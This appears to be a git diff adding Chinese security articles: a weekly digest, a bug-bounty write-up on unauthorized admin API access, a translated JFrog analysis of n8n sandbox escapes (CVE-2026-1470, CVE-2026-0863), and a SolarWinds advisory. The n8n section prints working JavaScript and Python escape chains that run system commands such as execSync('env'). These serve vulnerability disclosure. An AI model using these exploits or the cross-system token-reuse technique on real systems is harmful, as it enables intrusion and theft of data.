+虽然此次攻击活动的范围和成功程度似乎有限，但在攻击者优化其攻击链之前，应按照建议对可能受影响的系统进行修补或加固。 + + +参考链接： + +https://www.bleepingcomputer.com/news/security/hackers-exploit-critical-telnetd-auth-bypass-flaw-to-get-root/ + + +**5.SmarterMail 身份认证绕过漏洞(CVE-2026-23760)****** + + +1月24日，安全研究人员警告称，在 SmarterTools SmarterMail 企业电子邮件和协作服务器的补丁发布后大约两天，威胁行为者就开始利用该服务器中的身份验证绕过漏洞。 + +该安全缺陷被追踪为 CVE-2026-23760（CVSS 评分为 9.3），它影响应用程序的密码重置 API，并允许攻击者在未经身份验证的情况下重置密码。出现此问题的原因是，强制重置密码功能允许包含用户控制参数的未经身份验证的请求，并且不会验证管理员帐户的旧密码或重置令牌。这使得知道管理员用户名的攻击者无需身份验证即可重置帐户密码，并控制存在漏洞的 SmarterMail 实例。 + +据 WatchTowr 称，该漏洞可被利用通过 SmarterMail 功能进行远程代码执行（RCE），该功能允许系统管理员执行操作系统命令。重置管理员帐户后，攻击者可以在设置菜单中创建一个新卷，并在“卷挂载命令”字段中添加一条命令。由于该命令由底层操作系统执行，攻击者即可实现对主机的完全远程代码执行（RCE）。 + +WatchTowr 表示，他们已经发现 CVE-2026-23760 漏洞被广泛利用近一周，并推测威胁行为者已经逆向工程破解了该漏洞的修复方法。Huntress 也发出警告，黑客一直在利用该应用程序的系统事件功能，攻击 SmarterMail 身份验证绕过漏洞。 + +用户应尽快将 SmarterMail 实例更新到已打补丁的版本。鉴于此漏洞的严重性、活跃的利用以及在实际环境中观察到的其他 CVE-2025-52691 漏洞的利用，企业应优先部署 SmarterMail 更新，并检查任何过时的系统是否存在感染迹象。 + + +参考链接： + +https://www.securityweek.com/fresh-smartermail-flaw-exploited-for-admin-access/ + +**PART****0****3** + + +**安全事件** + + +**1.敏感气象数据或外流，国家安全部发布警示** + + +1月29日国家安全部消息，国家安全部公众号推文称，部分机构与个人法律意识淡薄，违规设立涉外气象探测站（点）,导致敏感气象数据面临外流风险，给我国家安全带来威胁。某军事基地附近农田片区，突然出现了多个新建气象探测站（点），国家安全机关迅速联合气象部门开展实地调查。据当地民众反映，这些设施是A公司以“助力农业”为名建设，刚刚竣工并投入使用。经核查，这些设备主要用于采集当地全天候的降水量、光照强度、风向风速、土壤水分、空气温度湿度、EC值等数据。该公司系中外合资企业，其所建的气象探测站（点）既未向当地气象主管部门备案，也未按规定汇交探测数据，且其中某台气象探测站（点）设施的供货商为境外某公司，其数据存储服务器搭建于境外，有气象数据外泄风险。经进一步查证，A公司虽没有境外间谍情报机关背景，但其存在违法开展涉外气象探测、违法私立涉外气象探测站（点）等行为。国家安全机关立即联合有关部门依法处置并对所有违建的气象探测站（点）进行拆除。 + + +原文链接： + +https://mp.weixin.qq.com/s/9tNrzQkNVSpFO50OZsrA7w + + +**2.波兰电网险遭大停电细节披露：数十处电站通信设备被攻击瘫痪** + + +1月28日Zero Day消息，综合Dragos、ESET等国际安全厂商的事件响应报告显示，去年12月的波兰电网险遭大停电事件，攻击者利用防火墙等边界系统漏洞，突破了可再生能源分布式电站的网络防护，劫持了远程终端单元（RTU）令其无法运行和恢复，导致大约30个电站的通信设备失效，幸运的是并未引发停电或对电力设备造成影响。波兰当局表示，如果攻击成功，可能会导致多达50万名波兰民众断电。该事件带有明显的IT、OT协同攻击特征，相关目标的IT网络还感染了数据擦除器，但不清楚攻击者是否实际启动了擦除功能来清除这些系统。 + + +原文链接： + +https://www.zetter-zeroday.com/attack-against-polands-grid-disrupted-communication-devices-at-about-30-sites/ + + +**3.数百个Clawdbot网关遭暴露，API密钥和私密聊天受影响** + + +1月26日Cyber Security News消息，爆火的开源AI智能体网关Clawdbot正面临日益严峻的安全隐患，目前已有超过900个未设身份验证的实例暴露在互联网上，且其代码存在多处漏洞，可能导致凭据被盗或远程代码执行等后果。有研究员利用Shodan搜索引擎扫描发现，该项目短时间内出现了超过900个网关实例公网暴露，其中多数未配置身份验证机制。攻击者可通过读取权限可获取全部凭据（包括API密钥、OAuth密钥）及附带文件传输记录的完整历史会话。攻击者还能继承智能体权限，发送消息、执行工具操作，甚至通过过滤响应内容来操控用户感知。部分实例以root权限的容器形式运行，使得攻击者无需身份验证即可执行任意主机命令。 + + +原文链接： + +https://cybersecuritynews.com/clawdbot-chats-exposed/ + + +**4.高端运动品牌安德玛7200万用户个人信息疑似泄露，官方称正在调查** + + +1月22日TechCrunch消息，在网络犯罪分子将大量条客户记录公开后，美国知名运动服装和数据公司安德玛（Under Armour）回应称，公司正在调查相关的数据泄露指控。此前数据泄露通知网站Have I Been Pwned获取到一份安德玛泄露数据副本，并通过电子邮件通知7200万名个人其信息已遭泄露。被盗数据集包含姓名、电子邮件地址、性别、出生日期，以及基于邮政编码推断出的客户大致位置等信息。据悉，这些数据源自去年11月发生的一起数据泄露事件，当时Everest勒索软件在其暗网泄密网站上声称对此负责。 + + +原文链接： + +https://techcrunch.com/2026/01/22/under-armour-says-its-aware-of-data-breach-claims-after-72m-customer-records-were-posted-online/ + + +**PART****0****4** + + +**政策法规** + + +**1.国务院办公厅印发《政务移动互联网应用程序规范化管理办法》** + + +1月28日，国务院办公厅印发《政务移动互联网应用程序规范化管理办法》。该文件提出，政务应用程序的主办（使用）单位按照“谁主办谁负责、谁使用谁负责”的原则，履行建设、使用、安全管理等环节的主体责任。该文件要求，各地区各部门应落实网络安全、数据安全、关键信息基础设施安全保护、个人信息保护、密码管理、移动互联网应用程序信息服务管理等有关法律法规规定，依法依规保护数据和个人信息安全等。各地区各部门应严格遵守国家保密法律法规，完善保密自监管措施，定期开展安全保密检查和风险评估，及时发现处置违反保密法律法规行为。 + + +原文链接： + +https://www.gov.cn/zhengce/zhengceku/202601/content_7056375.htm + + +**2.国家网信办《金融信息服务数据分类分级指南》公开征求意见** + + +1月24日，国家互联网信息办公室会同有关部门组织起草了《金融信息服务数据分类分级指南（征求意见稿）》，现向社会公开征求意见。该文件规定了金融信息服务数据分类分级规则，适用于在中华人民共和国境内从事金融信息服务的金融信息服务提供者开展数据分类分级和重要数据识别工作。该文件提出，金融信息服务数据可按照业务属性进行分类，一级分类分为业务数据、用户数据和企业数据3类，进一步细分为二级分类9类、三级分类66类。文件附录还给出了三级分类数据的分类分级参考示例。 + + +原文链接： + +https://www.cac.gov.cn/2026-01/24/c_1770812246428118.htm + + +**3.美国白宫发布备忘录，调整政府供应商软硬件产品安全证明要求** + + +1月23日，美国白宫管理与预算办公室（OMB）发布M-26-05《采用基于风险的软件和硬件安全方法》备忘录，撤销了2022年网络安全行政令的一项规定，要求联邦机构使用单一、标准化的自我证明表格，从软件供应商获取网络安全保障情况信息。白宫表示，这一政策妨碍了各机构根据自身系统需求采用合适的安全解决方案。该备忘录要求，联邦机构应改为运用安全开发原则，基于全面的风险评估，来验证供应商的安全性，并允许联邦机构采用软件证明表格或软件物料清单来管理供应链安全。 + + +原文链接： + +https://www.whitehouse.gov/wp-content/uploads/2026/01/M-26-05-Adopting-a-Risk-based-Approach-to-Software-and-Hardware-Security.pdf + + +**往期精彩推荐** + + +[年度报告 | 2025年漏洞态势全景复盘！](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247504619&idx=1&sn=2b304680299a0a0b75bfeddca8b596ac&scene=21#wechat_redirect) + + +[【已复现】SmarterTools SmarterMail 远程代码执行漏洞(CVE-2026-24423)安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247504548&idx=1&sn=3ec06d42760edb5b95e85ea6888dae63&scene=21#wechat_redirect) + + +[【在野利用】Fortinet 多款产品身份认证绕过漏洞(CVE-2026-24858)安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247504548&idx=2&sn=82db7c283ba71172c1615913d7671f48&scene=21#wechat_redirect) + + + + +本期周报内容由安全内参&虎符智库&奇安信CERT联合出品！ + + + + + + + diff --git a/doc/2026-01/超干干货！后台未授权访问漏洞实例分享.md b/doc/2026-01/超干干货！后台未授权访问漏洞实例分享.md new file mode 100644 index 00000000..0cfcdc05 --- /dev/null +++ b/doc/2026-01/超干干货！后台未授权访问漏洞实例分享.md @@ -0,0 +1,140 @@ +# 超干干货！后台未授权访问漏洞实例分享 +原创 洞悉安全攻防团队 + 洞悉安全攻防团队 洞悉安全团队 2026-01-30 10:30 + +点击上方 +蓝字 +关注我们！ + + +![](https://mmbiz.qpic.cn/mmbiz_png/Wp79QbImyk9yJMJQ3LTgqaJ6hsnXF6qNHsWt10W9qbHr4mdaXlt8ibEABjq22VtiawCCrSUicBJsO6icyiaFtxjesMQ/640?from=appmsg "") + +最近在测试某招聘平台时，无意间发现了一个容易被忽视的未授权漏洞。过程并不复杂，但恰恰是这种“看似没问题”的设计，容易成为系统的软肋。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Wp79QbImyk9yJMJQ3LTgqaJ6hsnXF6qNTMcib9b7O9IARXdlQOjUkC05cLBAqibE68ia98koyt5vsdU7iabf3y4zmw/640?from=appmsg "") + + + +一.某招聘后台未授权访问漏洞 + + +场景还原 + + + +平台有两个主要系统： + +1.招聘系统 +： + +    面向求职者和企业用户； + +    base_api以  +/hire +开头。 + +2.后台管理系统 +： + +    供内部管理人员使用； + +    base_api以  +/hradmin +开头。 + +求职者接口 +/hire +下的接口属于普通用户功能，而内部管理员接口 +/hramin +下的接口则需要管理员权限。 + + +测试思路 + + + +    正常情况下，如果登录不进去，我们会先尝试弱口令，再收集接口，将获取到的接口，尝试使用不同的访问方式去测试，并且尝试fuzz出对应参数等。 +1. 这里使用正常的访问测试未授权时，全部返回302，并且直接跳转到的登录页面。 + +1. 尝试用普通用户的token去访问，也全部返回302，这里可能校验了是否有管理平台的权限。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4MtQDlgoSrnxCvCeh2KOt9Rrk1yxS9icjORqlCfsjd2n2JoSD2sq0J3Zw/640?from=appmsg "") + +    使用管理平台 +/hradmin +api访问会返回302，但是 +使用招聘平台的 +/hire +api +去访问，直接 +返回了全部数据。 + +1、访问 +/hradmin/FileAttach/getSysFileAttachPage + +    => 响应码302，跳转回登录页面 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4M8mIibbicfHBOLv9fUEibOVY5ib8l78DibKEncaw1GZVqRiasMtb4zh8gNIAg/640?from=appmsg "") + +2、访问 +/hire/FileAttach/getSysFileAttachPage + +    =>  +响应码 +200，直接获取到了全部数据 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4MibrWpOViblGO9LrblT7tGD7XuOOnWNEpeBniap9blYkjqoW1x0YicicZFiaQ/640?from=appmsg "") + + +    通过对数据解密，获取到所用用户的身份证，毕业证，银行卡图片等信息： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4MjMlH781zsQs8UmrKpJA73TfMVcMct6v3qI3K23cbd9LbmzIP4Ga5Gw/640?from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/ibibcV5C2Fxt8KF2nvUB4ibibbBvwBdymVkQKw5xG6xAoAFellPY0mz4BREtkJ1M3Mib3uSxwXrpSDicAia7jCEKemWsw/640?from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/5HAz5Dg8SOkjmyVTZjk9tbp3SiaRXaRbWz9K95rrjzicHcdPgfMN3MumibokNDcCrXM8HSkXyeJfY6wJPxd52uJFw/640?from=appmsg "") + +从“一个漏洞”到“一类漏洞”的思考 + + +通过该漏洞可以举一反三，遇到后台不仅要使用常规的思路去测试未授权访问漏洞，在我们遇到同域名或相似的站点， 或者同时存在前台后台的站点，我们可以将收集到的接口结合起来，同时进行测试 +``` +例：(1)a.xxx.com 我们有权限去访问 (2)b.xxx.com 我们没有权限去访问我们可以将a系统的token，去访问b系统的接口，也可能会出现意料之外的情况下面的案例就是这种情况导致的信息泄露 +``` + + +![](https://mmbiz.qpic.cn/mmbiz_gif/ibibcV5C2Fxt8KF2nvUB4ibibbBvwBdymVkQKw5xG6xAoAFellPY0mz4BREtkJ1M3Mib3uSxwXrpSDicAia7jCEKemWsw/640?from=appmsg "") + + + + + +二.某小程序后台未授权访问漏洞 + + +测试思路 + + + +    在测试完小程序后，尝试将小程序的域名放到web上去访问，直接获取到了小程序的管理后台。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4MKNzpdFgHHMGiadCS2SiczAWQBqCgTt34ELOiaQn1V6vwI8M5jEXUeZAZw/640?from=appmsg "") + + +    在收集的管理后台的接口中，发现了 +/refund/list/new + 的接口，可以列出后台的退款信息，但是使用管理平台直接访问会显示没有权限，这里尝试 +使用小程序的token，访问管理平台的接口，直接 +获取了上千条数据，包含三要素。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4MEPAmp5y0ia4ROuZ166o1mhaCrcfCE5ViaYNYMJ2icIy530jAsmlZ2CruA/640?from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghbDbvibRQEJ9YP1QgOYCcA4Mbic283KtzeaVdnibX5icAic9IGaRmtey0cTUVoBTSP1WSUZHAvI7Ficic0Og/640?from=appmsg "") + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/cv7xkU9cPaX1dqtBQs6CcuBcVruKFIXQKHnK0iaQY1lRENrqAp2dD2piaqJcyPic3WYTicIjCXDNDCZvicxfvqEUSFQ/640?from=appmsg "") + + diff --git a/doc/2026-01/通过沙箱逃逸在 n8n 上实现远程代码执行 - CVE-2026-1470 和 CVE-2026-0863.md b/doc/2026-01/通过沙箱逃逸在 n8n 上实现远程代码执行 - CVE-2026-1470 和 CVE-2026-0863.md new file mode 100644 index 00000000..812264f2 --- /dev/null +++ b/doc/2026-01/通过沙箱逃逸在 n8n 上实现远程代码执行 - CVE-2026-1470 和 CVE-2026-0863.md @@ -0,0 +1,220 @@ +# 通过沙箱逃逸在 n8n 上实现远程代码执行 - CVE-2026-1470 和 CVE-2026-0863 +原创 骨哥说事 + 骨哥说事 骨哥说事 2026-01-30 16:00 + +

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

# + +# + +****# 防走失：https://gugesay.com/archives/5238 + +******不想错过任何消息？设置星标****↓ ↓ ↓** +**** +# + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jlbXyV4tJfwXpicwdZ2gTB6XtwoqRvbaCy3UgU1Upgn094oibelRBGyMs5GgicFKNkW1f62QPCwGwKxA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jnphILHfRA9EJQZn7Yu5zxHonibicgefKMKtnb27r4E3X0nJvlH9QFAEXul6duBEWBiafXfkOKwFQreQ/640?wx_fmt=png&from=appmsg "") + +近日，JFrog 安全研究团队发现并披露了 n8n 沙箱机制中的两个漏洞：CVE-2026-1470，评分为 **9.9 分（严重）** +，影响表达式求值引擎；以及 CVE-2026-0863，评分为 **8.5 分（高危）** +，影响代码节点的 Python 执行(“Internal” 模式)。 + +n8n 是一个流行的 AI 工作流自动化平台，它将 AI 能力与业务流程自动化相结合。 + +在之前的漏洞披露之后，n8n 强化了其 JavaScript 沙箱，并为 Python 代码节点引入了新的“任务执行器(task-runner)”选项以及额外的沙箱加固措施。**然而，我们的研究团队仍然能够绕过这些保护措施** +，这表明即使是健壮的沙箱机制也可能被绕过。 + +在这两种情况下，漏洞利用都通过滥用 AST 净化逻辑中的缺陷，最终导致了远程代码执行 (RCE)。能够创建 n8n 工作流的攻击者可以轻易利用这些漏洞，在运行 n8n 服务的主机上实现完全的远程代码执行。这些漏洞在 n8n 的云平台上曾经存在影响，并且在所有运行未修补版本的自托管部署中仍然可能被利用。 +> **注意** +: +> CVE-2026-1470 – n8n 用户应升级到版本 1.123.17、2.4.5 或 2.5.1。任何更早的版本都易受此漏洞影响。CVE-2026-0863 – n8n 用户应升级到版本 1.123.14、2.3.5 或 2.4.2。任何更早的版本都易受此漏洞影响。 + +## 背景介绍：n8n 的表达式求值引擎 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jnphILHfRA9EJQZn7Yu5zxHab7IAfGvpRdPdgMQvyJicF3ZytK5p946zsHRhFicWibKXmZbLj6CCawbQ/640?wx_fmt=png&from=appmsg "") + +正如在官方 n8n 文档中所描述的，表达式是： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jnphILHfRA9EJQZn7Yu5zxHKAv201PHkBZBynblNX5pS4D4hvhZxAzTCMsHbaya40xkkiaG8D0BLuQ/640?wx_fmt=png&from=appmsg "") + +那么，它是如何工作的呢？为什么攻击者不能直接在 n8n 主机上执行任意命令？ + +当表达式引擎遇到 {{ ... }} + 块时，它会处理其中包含的内容：将其传递给一个 JavaScript Function + 构造函数，然后执行提供的代码。 + +由于这种执行模型本质上是危险的，n8n 依赖于一个**基于抽象语法树 (AST)** + 的沙箱来验证 JavaScript 输入的安全性，确保其不会触发意外的行为，例如执行任意的操作系统命令。 + +这个沙箱机制的核心是 n8n 的 Tournament 库。该库将输入解析为 AST，并钩住潜在危险的节点以在执行前将其“中和 (neutralize)”。 +## JavaScript 沙箱分析 (CVE-2026-1470) + +沙箱净化过程首先用一个修改过的全局对象来填充执行环境： +``` +// packages/workflow/src/expression.tsdata.process =typeof process !== "undefined"    ? {        arch: process.arch,        env:          process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== "false"            ? {}            : process.env,        platform: process.platform,        pid: process.pid,        ppid: process.ppid,        release: process.release,        version: process.pid,        versions: process.versions,      }    : {};Expression.initializeGlobalContext(data); //<== 此方法将大多数危险的全局对象、setter、getter 等定义为 undefined 或空对象, 如这里所示 +``` + +然后是一个基于正则表达式的静态检查，用于捕获 .constructor + 的出现： +``` +// packages/workflow/src/expression.tsconst constructorValidation = newRegExp(/\.\s*constructor/gm);if (parameterValue.match(constructorValidation)) {thrownew ExpressionError(    "Expression contains invalid constructor function call",    {      causeDetailed:        "Constructor override attempt is not allowed due to security concerns",      runIndex,      itemIndex,    },  );} +``` + +最后，表达式通过 Tournament 的钩子验证器。如果所有检查都未报错，才会执行表达式。 +``` +// packages/workflow/src/expression-evaluator-proxy.tsconst errorHandler: ErrorHandler = () => {};const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {  before: [ThisSanitizer], // 此处应用三个钩子  after: [PrototypeSanitizer, DollarSignValidator],});const evaluator: Evaluator =  tournamentEvaluator.execute.bind(tournamentEvaluator);exportconst setErrorHandler = (handler: ErrorHandler) => {  tournamentEvaluator.errorHandler = handler;};exportconst evaluateExpression: Evaluator = (expr, data) => {return evaluator(expr, data);}; +``` + +在 Tournament 评估过程中，应用了三个钩子：ThisSanitizer +、PrototypeSanitizer + 和 DollarSignValidator +。 + +ThisSanitizer +，正如其名，通过重写函数调用来阻止通过 this + 的逃逸，将执行绑定到一个已“消毒”的全局对象上： +``` +// 例如：(function() { return this.process; })() => 转换为 => .call({ process: {} }, ...args) +``` + +这防止了通过 this + 访问到真实的全局上下文。 + +PrototypeSanitizer + 通过拒绝访问 __proto__ +、prototype +、constructor +、getPrototypeOf + 等常用于沙箱逃逸的属性，来阻止原型链操纵。 + +最后，DollarSignValidator + 限制了对 $ + 标识符的使用，该标识符被保留为工作流数据访问器。 + +总而言之，**有多个验证层来缓解已知的 JavaScript 沙箱逃逸向量** +，包括原型污染、全局上下文访问、反射 API 和构造器滥用。然而，一个特别有问题的 JavaScript 特性被忽视了：**with 语句** +。这可能是因为它已被弃用且被强烈不鼓励使用，文档中写道： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jnphILHfRA9EJQZn7Yu5zxH1ZgoyiaHv1vJmLpbN6UGVTfWWRL6pu4TfH6C1hRiahImdmS2TghBzu7w/640?wx_fmt=png&from=appmsg "") + +“可能是混淆性错误的来源 +”？ 这听起来正是我们寻找的。并且很巧，with + 语句仍受到 Tournament AST 解析器的支持。 + +with + 语句有效地为一个表达式块定义了作用域。当前实现阻止了对 constructor + 的访问，但仅当它作为 MemberExpression + 节点（如 obj.constructor + 或 obj[“constructor”] +）出现时。然而，当 constructor + 作为一个独立的标识符使用时，无论是 AST 验证还是静态的正则检查都不会阻止它： +``` +var constructor = ‘gotcha’;// {{ (function(){ var constructor = ‘gotcha’; })() }} <= 不会被阻止 +``` + +这允许我们通过在 with + 语句中引入一个“诱饵” constructor + 标识符来欺骗 AST 检查，并将其作用域设定为 function (){} +，这实际上解析为 Function + 对象： +``` +{{  (function () {    var constructor = "gotcha";    with (function () {}) {      return constructor("return 1337")();    }  })();}}//控制台输出: 1337 +``` + +此表达式没有被阻止，因为在 AST 看来，constructor + 被视为一个简单的标识符。我们可以通过移除诱饵来验证这个行为： +``` +{{  (function () {    var not_a_constructor = "gotcha";    with (function () {}) {      return constructor("return 1337")();    }  })();}}//控制台: Cannot access "constructor" due to security concerns +``` + +换句话说，**AST 认为 constructor 是一个无害的标识符，而实际上它解析为 Function.prototype.constructor** +（其中 Function.prototype.constructor === Function +）。从这一点出发，实现任意代码执行就变得直接了： +``` +{{  (function () {    var constructor = "gotcha";    with (function () {}) {      return constructor(        "return process.mainModule.require('child_process').execSync('env').toString().trim()",      )();    }  })();}}//控制台: 输出主节点的环境变量 +``` + +此漏洞被评为严重级别，因为任意代码执行发生在 n8n 的主节点中，允许经过身份验证的攻击者完全控制一个 n8n 实例。 +## Python代码节点分析 (CVE-2026-0863) + +Python 代码节点允许 n8n 用户执行任意 Python 代码进行数据处理，但为了在“Internal”（内部）配置下保护 n8n 实例不被完全接管，此代码同样需要经过 AST 沙箱处理。 + +![图片: Python 代码节点配置](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jnphILHfRA9EJQZn7Yu5zxHlQmIRBPBm96ET1nAPeV6kUmjIWZYWKWLicTohSfe41Lpp6JjxGhWgmA/640?wx_fmt=png&from=appmsg "") + +图片: Python 代码节点配置 + +![图片: 推荐外部执行模式](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jnphILHfRA9EJQZn7Yu5zxHxoJwTeiaHw2LbzOsqke95ZjicRmYde0w3ojZwTYqsbMiaJxqNIujIAqlw/640?wx_fmt=png&from=appmsg "") + +图片: 推荐外部执行模式 + +此节点可以在两种不同的配置下执行。当 n8n 实例在推荐的“External”（外部）配置下运行时，Python 执行发生在一个独立的 Docker 侧车容器中，而不是主节点内。在此设置下，攻击者将需要一个额外的漏洞来逃逸侧车容器并影响底层主机。 + +然而，如果 n8n 实例在“Internal”（内部）配置下运行，Python 代码作为子进程在主节点本身上执行，因此成功的漏洞利用可以危及整个 n8n 实例。 + +在这两种配置下，Python 代码都在由 SecurityConfig + 对象定义的严格 AST 沙箱下执行。在其默认配置中，沙箱禁止导入 stdlib + 和所有其他外部模块，并拒绝访问广泛的内部函数，如下所示： +``` +# packages/@n8n/task-runner-python/src/constants.pyBUILTINS_DENY_DEFAULT = "eval,exec,compile,open,input,breakpoint,getattr,object,type,vars,setattr,delattr,hasattr,dir,memoryview,__build_class__,globals,locals,license,help,credits,copyright" +``` + +用户提供的代码被转换为 AST，每个节点都会根据 SecurityConfig + 策略以及针对 Import +（导入）、Call +（调用）和 Attribute +（属性）等危险节点类型的自定义检查进行评估。完整实现在此处。 + +乍看之下，默认的 SecurityConfig + 似乎极其严格，留给恶意操作的空间很小。此外，一个修改过的全局对象被注入以替代标准对象： +``` +# packages/@n8n/task-runner-python/src/task_executor.pyglobals = {    "__builtins__": TaskExecutor._filter_builtins(security_config),    "_items": items,    "_query": query,    "print": TaskExecutor._create_custom_print(print_args),}exec(compiled_code, globals) +``` + +正如基于 AST 的静态沙箱常见的情况，**Python 的格式化功能** +可以被利用来部分绕过限制并检查内部对象，包括活跃的 SecurityConfig + 实例： +``` +def gen_obj():    yield 1g = gen_obj()next(g)trick_ast='gi_frame.f_builtins[__import__].__closure__[1].cell_contents'fmt = '{0.' + trick_ast + '}'config = fmt.format(g)return [{"json": {"config": config}}]#结果: 这将泄漏 “SecurityConfig” 对象: #SecurityConfig(stdlib_allow=set(), external_allow=set(), builtins_deny={'__build_class__', 'hasattr', 'locals', 'input', 'type', 'open', 'credits', 'globals', 'compile', 'delattr', 'getattr', 'dir', 'object', 'license', 'vars', 'exec', 'memoryview', 'setattr', 'eval', 'help', 'breakpoint', 'copyright'}, runner_env_deny=True) +``` + +虽然这种泄漏是不希望的，但仅凭 format() + 只能提供对象的字符串表示形式，并不允许直接调用。通常，这个限制可以使用 getattr + 来绕过，但如上所示，getattr + 被策略明确禁止。 + +**基于 AST 的沙箱的一个基本弱点是对语言演变的敏感性** +。像 Python 这样的高级语言经常引入细微的改变，这可能使沙箱的假设失效。从 Python 3.10 开始，AttributeError 异常获得了 name 和 obj 属性。这意味着当我们遇到一个 AttributeError + 异常时，**我们可以调用导致异常的属性访问所针对的对象！** + +为了更好地演示： +``` +def new_getattr(obj, attribute, *, Exception):    try:        f'{0.{attribute}.ribbit}'.format(obj)    except Exception as e:        return e.objclass FrogSay():     secret = "ribbit"obj = FrogSay()print(new_getattr(obj, "secret", Exception=Exception))# 这将打印 “ribbit” 到控制台 +``` + +通过将基于格式化字符串的访问与 e.obj + 结合，我们可以在仅提供字符串表示和获得完全可调用的对象之间架起桥梁，**而不会触发 AST 检查** +。 + +利用这个技巧，我们可以构建一个完整的 RCE 链，完全逃逸出沙箱： +``` +def new_getattr(obj, attribute, *, Exception):    try:        f'{0.{attribute}.ribbit}'.format(obj)    except Exception as e:        return e.objtry:    raise ValueError("pwn")except Exception as e:    tb = new_getattr(e, '__traceback__', Exception=Exception)    frame = new_getattr(tb, 'tb_frame', Exception=Exception)    builtins = new_getattr(frame, 'f_builtins', Exception=Exception)    us = chr(95)    imprt = builtins[us+us+'import'+us+us]    import_globals = new_getattr(imprt, '__globals__', Exception=Exception)    os = import_globals['os']    os.uname()# 这将执行 uname 系统命令 +``` +## 总结 + +这些漏洞凸显了安全地对动态高级语言（如 JavaScript 和 Python）进行沙箱化是多么困难。即使有多个验证层、拒绝列表和基于 AST 的控制，微妙的语言特性和运行时行为仍然可能被利用来绕过安全假设。 + +在这个案例中，**被弃用或很少使用的语法结构** +，加上解释器的变化和异常处理行为，足以突破原本严格的沙箱并实现远程代码执行。这强化了一个事实：在执行不受信任的代码时，需要**不断重新评估沙箱设计、密切关注特定运行时版本的变化，并采用强大的深度防御策略** +。 + +对于像 n8n 这样经常部署在敏感环境中并处理特权工作流的平台，这些问题凸显了**最小化执行权限** +以及避免仅仅依赖静态验证的重要性。 + +原文：https://research.jfrog.com/post/achieving-remote-code-execution-on-n8n-via-sandbox-escape/ + +- END - + +**感谢阅读，如果觉得还不错的话，欢迎分享给更多喜爱的朋友～** + diff --git a/doc/2026-01/高危！SolarWinds 紧急修复 Web Help Desk 四大漏洞.md b/doc/2026-01/高危！SolarWinds 紧急修复 Web Help Desk 四大漏洞.md new file mode 100644 index 00000000..fb552094 --- /dev/null +++ b/doc/2026-01/高危！SolarWinds 紧急修复 Web Help Desk 四大漏洞.md @@ -0,0 +1,108 @@ +# 高危！SolarWinds 紧急修复 Web Help Desk 四大漏洞 +HackerNews + HackerNews 安全威胁纵横 2026-01-30 09:24 + +高危漏洞   + +紧急修复指南   + +RCE Patch   + +SolarWinds 发布了安全更新，修复其 Web Help Desk 产品中存在的多个安全漏洞，其中包含四项可导致身份验证绕过及远程代码执行（RCE）的高危漏洞。 + +推测e + + + +**1** + + +**漏洞详情列表** + +· +  +CVE-2025-40536 +（CVSS 评分：8.1）：安全控制绕过漏洞。未经认证的攻击者可借此访问某些受限制的功能。 + +· CVE-2025-40537 +（CVSS 评分：7.5）：硬编码凭证漏洞。攻击者可利用预设的“client”用户账户访问管理功能。 + +· CVE-2025-40551 +（CVSS 评分：9.8）：不可信数据反序列化漏洞。可导致远程代码执行，使未经认证的攻击者能够在主机上运行任意命令。 + +· CVE-2025-40552 +（CVSS 评分：9.8）：身份验证绕过漏洞。未经认证的攻击者可利用此漏洞执行特定操作与方法。 + +· CVE-2025-40553 +（CVSS 评分：9.8）：不可信数据反序列化漏洞。可导致远程代码执行，使未经认证的攻击者能够在主机上运行任意命令。 + +· CVE-2025-40554 +（CVSS 评分：9.8）：身份验证绕过漏洞。攻击者可利用此漏洞调用 Web Help Desk 内部的特定操作。 + +前三个漏洞由 Horizon3.ai 的 Jimi Sebree 发现并上报，后三个漏洞则由 watchTowr 的 Piotr Bazydlo 发现，相关贡献均已获官方确认。所有漏洞均已在其 Web Help Desk 2026.1 (WHD 2026.1) 版本中得到修复。 + +“CVE-2025-40551 和 CVE-2025-40553 均为 +高危不可信数据反序列化漏洞 +，” Rapid7 表示。“远程未授权攻击者可通过这两个漏洞在目标系统上实现远程代码执行，还能执行任意操作系统命令等恶意载荷。” + +“**反序列化导致的远程代码执行是攻击者常用的高可靠攻击途径** +，且这两个漏洞均支持未授权利用，因此危害程度极大。” + +该网络安全公司补充道，尽管 CVE-2025-40552 和 CVE-2025-40554 被归类为身份认证绕过漏洞， +但同样可能被用以实现 RCE， +从而产生与其他两个反序列化 RCE 漏洞同等的破坏性影响。 + +近年来，SolarWinds 已多次发布补丁修复 Web Help Desk 软件中的漏洞，包括 CVE-2024-28986、CVE-2024-28987、CVE-2024-28988 及 